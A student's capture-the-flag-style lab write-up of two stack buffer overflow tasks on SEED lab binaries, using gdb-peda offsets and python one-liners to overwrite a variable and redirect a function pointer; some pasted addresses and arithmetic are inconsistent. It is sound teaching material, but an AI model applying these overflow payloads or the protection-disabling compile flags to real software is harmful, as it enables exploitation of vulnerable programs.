TASK 1

At first I had to set up the environment by running these three commands. The first one is to turn off address randomization features. After that following two commands have been run for compiling the programs and setting the set-uid bit.

```
seed@VM: ~/.../lab_task_files (student)
[11/17/22]seed@VM:~/.../lab_task_files (student)$ gcc -m32 -static -g -o match_m
e -z execstack -fno-stack-protector match_me.c
match_me.c: In function ‘main’:
match_me.c:10:3: warning: implicit declaration of function ‘gets’; did you mean
‘fgets’? [-Wimplicit-function-declaration]
   10 |   gets(buffer);
      |   ^~~~
      |   fgets
/usr/bin/ld: /tmp/ccxWwmgz.o: in function `main':
/home/seed/Desktop/lab 04/lab_task_files (student)/match_me.c:10: warning: the `
gets' function is dangerous and should not be used.
[11/17/22]seed@VM:~/.../lab_task_files (student)$ sudo chown root match_me
[11/17/22]seed@VM:~/.../lab_task_files (student)$ sudo chmod 4755 match_me
[11/17/22]seed@VM:~/.../lab_task_files (student)$
```

Next we have to go to debug mode.

```
seed@VM: ~/.../lab_task_files (student)
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you m
ean "=="?
  if pyversion is 3:
Reading symbols from ./match_me...
gdb-peda$ b main
Breakpoint 1 at 0x8049da5: file match_me.c, line 4.
gdb-peda$ run
Starting program: /home/seed/Desktop/lab 04/lab_task_files (student)/match_me
[----------------------------------registers-----------------------------------]
EAX: 0x80e686c --> 0xffffd1cc --> 0xffffd3aa ("SHELL=/bin/bash")
EBX: 0x80e5000 --> 0x0
ECX: 0x0
EDX: 0xffffd160 --> 0x80e5000 --> 0x0
ESI: 0x80e5000 --> 0x0
EDI: 0x80e5000 --> 0x0
EBP: 0x0
ESP: 0xffffd10c --> 0x804a66d (<__libc_start_main+1309>:        add    esp,0x10)
EIP: 0x8049da5 (<main>: endbr32)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049d95 <frame_dummy+53>:  jmp    0x8049cd0 <register_tm_clones>
   0x8049d9a <frame_dummy+58>:  lea    esi,[esi+0x0]
   0x8049da0 <frame_dummy+64>:  jmp    0x8049cd0 <register_tm_clones>
=> 0x8049da5 <main>:    endbr32
```

Also set a breaking point in main.

```
seed@VM: ~/.../lab_task_files (student)
EIP: 0x8049da5 (<main>: endbr32)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049d95 <frame_dummy+53>:  jmp    0x8049cd0 <register_tm_clones>
   0x8049d9a <frame_dummy+58>:  lea    esi,[esi+0x0]
   0x8049da0 <frame_dummy+64>:  jmp    0x8049cd0 <register_tm_clones>
=> 0x8049da5 <main>:    endbr32
   0x8049da9 <main+4>:  lea    ecx,[esp+0x4]
   0x8049dad <main+8>:  and    esp,0xfffffff0
   0x8049db0 <main+11>: push   DWORD PTR [ecx-0x4]
   0x8049db3 <main+14>: push   ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffd10c --> 0x804a66d (<__libc_start_main+1309>:       add    esp,0x10)
0004| 0xffffd110 --> 0x1
0008| 0xffffd114 --> 0xffffd1c4 --> 0xffffd36e ("/home/seed/Desktop/lab 04/lab_t
ask_files (student)/match_me")
0012| 0xffffd118 --> 0xffffd1cc --> 0xffffd3aa ("SHELL=/bin/bash")
0016| 0xffffd11c --> 0xffffd160 --> 0x80e5000 --> 0x0
0020| 0xffffd120 --> 0x0
0024| 0xffffd124 --> 0x0
0028| 0xffffd128 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
```

Then we have to know the address of the buffer and the modified variable.

To do that we have to run this command.

```
gdb-peda$ p &buffer
$1 = (char (*)[69]) 0xffffffaf
gdb-peda$ p &modified
$2 = (int *) 0xffffffff4
gdb-peda$
```

After that we have to find out the offset. So that we can pass enough characters to make buffer overflow possible.

```
gdb-peda$ p/d 0xffffffaf - 0xfffffff4
$3 = -69
```

For this we need to use python3 with 69 characters to the buffer and after this we need to use pipe for this and also we need to add 0x15692122.

```
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*69 +b"\x22\x21\x69\x15")' | ./match_me
```

After running this line of code we will get our desired buffer overflow. And this is the result of that.

```
gdb-peda$ p &buffer
$1 = (char (*)[69]) 0xffffffaf
gdb-peda$ p &modified
$2 = (int *) 0xfffffff4
gdb-peda$ p/d 0xffffffaf - 0xfffffff4
$3 = -69
gdb-peda$ Aborted
[11/17/22]seed@VM:~/.../lab_task_files (student)$ python3 -c 'import sys; sys.stdout.buffer.write(b"A"*69 +b"\x22\
x21\x69\x15")' | ./match_me
Enter whatever you wish:
you have correctly got the variable to the right value
Segmentation fault
[11/17/22]seed@VM:~/.../lab_task_files (student)$
```

TASK 2

At first I had to set up the environment by running these three commands. The first one is to turn off address randomization features. After that following two commands have been run for compiling the programs and setting the set-uid bit.

```
[11/17/22]seed@VM:~/.../lab_task_files (student)$ sudo chown root change_flow
[11/17/22]seed@VM:~/.../lab_task_files (student)$ sudo chmod 4755 change_flow
```

In this task we have a function named win. If we pass the address of this win() function to the return address then we will be able to call the win function. For this we need to set two breakpoints on win and main.

```
seed@VM: ~/.../lab_task_files (student)
gdb-peda$ Aborted
[11/17/22]seed@VM:~/.../lab_task_files (student)$ python3 -c 'import sys; sys.stdout.buffer.write(b"A"*69 +b"\x22\
x21\x69\x15")' | ./match_me
Enter whatever you wish:
you have correctly got the variable to the right value
Segmentation fault
[11/17/22]seed@VM:~/.../lab_task_files (student)$ ls
change_flow  control_me  match_me  match_me.c  peda-session-match_me.txt  prog
[11/17/22]seed@VM:~/.../lab_task_files (student)$ sudo chown root change_flow
[11/17/22]seed@VM:~/.../lab_task_files (student)$ sudo chmod 4755 change_flow
[11/17/22]seed@VM:~/.../lab_task_files (student)$ gdb ./change_flow
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if pyversion is 3:
Reading symbols from ./change_flow...
gdb-peda$
```

```
seed@VM: ~/.../lab_task_files (student)
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if pyversion is 3:
Reading symbols from ./change_flow...
gdb-peda$ b win
Breakpoint 1 at 0x8049da5: file change_flow.c, line 4.
gdb-peda$ b main
Breakpoint 2 at 0x8049dd4: file change_flow.c, line 9.
gdb-peda$ run
Starting program: /home/seed/Desktop/lab 04/lab_task_files (student)/change_flow
[----------------------------------registers-----------------------------------]
EAX: 0x80e686c --> 0xffffd1cc --> 0xffffd3a6 ("SHELL=/bin/bash")
EBX: 0x80e5000 --> 0x0
ECX: 0x0
EDX: 0xffffd160 --> 0x80e5000 --> 0x0
ESI: 0x80e5000 --> 0x0
EDI: 0x80e5000 --> 0x0
EBP: 0x0
ESP: 0xffffd10c --> 0x804a68d (<__libc_start_main+1309>:        add    esp,0x10)
EIP: 0x8049dd4 (<main>: endbr32)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049dcf <win+42>:  mov    ebx,DWORD PTR [ebp-0x4]
   0x8049dd2 <win+45>:  leave
   0x8049dd3 <win+46>:  ret
=> 0x8049dd4 <main>:    endbr32
   0x8049dd8 <main+4>:  lea    ecx,[esp+0x4]
   0x8049ddc <main+8>:  and    esp,0xfffffff0
   0x8049ddf <main+11>: push   DWORD PTR [ecx-0x4]
   0x8049de2 <main+14>: push   ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffd10c --> 0x804a68d (<__libc_start_main+1309>:       add    esp,0x10)
0004| 0xffffd110 --> 0x1
```

After this we need to know the address of buffer and fp and the offset also.

```
Breakpoint 2, main (argc=0x1, argv=0xffffd1c4) at change_flow.c:9
9       change_flow.c: No such file or directory.
gdb-peda$ p &buffer
$1 = (char (*)[105]) 0xffffff8b
gdb-peda$ p &fp
$2 = (int (**)()) 0xffffffff4
gdb-peda$ p/d 0xffffffff4 - 0xffffff8b
$3 = 105
gdb-peda$
```

All we have to do now is to fill the array so that we can overflow it. After that we need to add the address of the win function to the pipe.

```
seed@VM: ~/.../lab_task_files (student)
0000| 0xffffd10c --> 0x804a68d (<__libc_start_main+1309>:       add    esp,0x10)
0004| 0xffffd110 --> 0x1
0008| 0xffffd114 --> 0xffffd1c4 --> 0xffffd367 ("/home/seed/Desktop/lab 04/lab_task_files (student)/change_flow")
0012| 0xffffd118 --> 0xffffd1cc --> 0xffffd3a6 ("SHELL=/bin/bash")
0016| 0xffffd11c --> 0xffffd160 --> 0x80e5000 --> 0x0
0020| 0xffffd120 --> 0x0
0024| 0xffffd124 --> 0x0
0028| 0xffffd128 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, main (argc=0x1, argv=0xffffd1c4) at change_flow.c:9
9       change_flow.c: No such file or directory.
gdb-peda$ p &buffer
$1 = (char (*)[105]) 0xffffff8b
gdb-peda$ p &fp
$2 = (int (**)()) 0xffffffff4
gdb-peda$ p/d 0xffffffff4 - 0xffffff8b
$3 = 105
gdb-peda$ Aborted
[11/17/22]seed@VM:~/.../lab_task_files (student)$ python3 -c 'import sys; sys.stdout.buffer.write(b"A"*105 +b"\x22
\x21\x69\x15")' | ./change_flow
Can you reach to your desired place?
Jumping to 0x15692122
Segmentation fault
[11/17/22]seed@VM:~/.../lab_task_files (student)$ python3 -c 'import sys; sys.stdout.buffer.write(b"A"*105 +b"\xa5
\x9d\x04\x08")' | ./change_flow
Can you reach to your desired place?
Jumping to 0x08049da5
WoW! Finally you've come to me!
Segmentation fault
[11/17/22]seed@VM:~/.../lab_task_files (student)$
```

We have successfully done the buffer overflow attack.
